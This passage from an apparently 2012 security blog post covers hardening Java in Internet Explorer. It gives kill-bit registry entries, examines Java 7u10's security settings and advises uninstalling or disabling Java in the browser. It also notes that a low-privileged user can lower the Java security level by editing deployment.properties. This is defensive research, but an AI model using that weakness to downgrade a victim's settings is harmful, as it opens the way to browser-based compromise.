[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA}]
"Compatibility Flags"=dword:00000400

Renaming the “jp2iexp.dll” file would also temporarily mitigate the APPLET and OBJECT tag attack vectors but not the others mentioned. A Java update installation would drop the file back though so bear that in mind.

Other classids that would need some interaction are also best to be killbitted

[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{5852F5ED-8BF4-11D4-A245-0080C6F74284}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\ActiveX Compatibility\{E19F9331-3110-11D4-991C-005004D3B3DB}]
"Compatibility Flags"=dword:00000400

Using the latest classids for the Java version would require the user to acknowledge two warnings but once accepted thereafter no warning would be given so killbitting the CAFAEFAC- classids might be worth thinking about in your managed environment. Finally JNLP files could be sent via email so you might want to take a proactive step in blocking jnlp file attachments on your mail relays.

Latest Java release
Following the release of Java 7 update 10 last week I thought I’d do a quick check on its new security features. There is now an updated security tab giving the user now more control on what to do.

Changing the security levels makes changes to the file deployment.properties in location

C:\Users\user1\AppData\LocalLow\Sun\Java\Deployment

By default its set to medium but if changed to low the entry deployment.security.level=LOW is added to the file. Since this is in a low integrity folder this could be changed to LOW settings by a low privileged user.

#deployment.properties
#Wed Dec 19 17:48:16 GMT 2012
deployment.modified.timestamp=1355939296772
deployment.version=7.0
deployment.security.level=LOW
deployment.webjava.enabled=false
#Java Deployment jre's
#Wed Dec 19 17:48:16 GMT 2012
deployment.javaws.jre.0.registered=true
deployment.javaws.jre.0.platform=1.7
deployment.javaws.jre.0.osname=Windows
deployment.javaws.jre.0.path=C\:\\Program Files\\Java\\jre7\\bin\\javaw.exe
deployment.javaws.jre.0.product=1.7.0_10
deployment.javaws.jre.0.osarch=x86
deployment.javaws.jre.0.location=http\://java.sun.com/products/autodl/j2se
deployment.javaws.jre.0.enabled=true
deployment.javaws.jre.0.args=

Un-checking the “Enable Java content in the browser” is quite drastic step as it deletes all classids, mimetypes, jnlp file association, etc. The command that gets run when un-checking and applying is

"C:\PROGRA~1\Java\jre7\bin\ssvagent.exe"  -disablewebjava

This feature would most definitely protect from browser based attacks but also most likely break all your internal apps so not something to implement without thorough testing in an enterprise environment. For home users it gives the flexibility to enable and disable when needed say if you want to do a vulnerability scan which uses Java.

Conclusion
This research has shown that if you dont need Java best to just to uninstall it. If there is a requirement then upgrade to Java 7u10 and uncheck the Java content in the browser settings. Finally follow only Certs advisory [4] or the very least make the few mitigating changes mentioned in the “Preventing compromise” section regardless if you have “Java Content in the browser” enabled or disabled.

References:

[1] http://nakedsecurity.sophos.com/how-to-disable-java-internet-explorer/
[2] http://support.microsoft.com/kb/2751647
[3] http://support.microsoft.com/kb/182569
[4] http://www.kb.cert.org/vuls/id/636312
[5] http://krebsonsecurity.com/how-to-unplug-java-from-the-browser/
[6] http://blogs.msdn.com/b/ieinternals/archive/2011/05/15/controlling-java-in-internet-explorer.aspx
[7] http://docs.oracle.com/javase/1.5.0/docs/guide/plugin/developer_guide/using_tags.html
[9] http://www.oracle.com/technetwork/java/javase/documentation/developersguide-138587.html
[10] http://docs.oracle.com/javase/7/docs/technotes/guides/javaws/developersguide/syntax.html
[11] http://www.oracle.com/technetwork/java/javase/index-142562.html
[12] http://docs.oracle.com/javase/7/docs/technotes/guides/jweb/client-security.html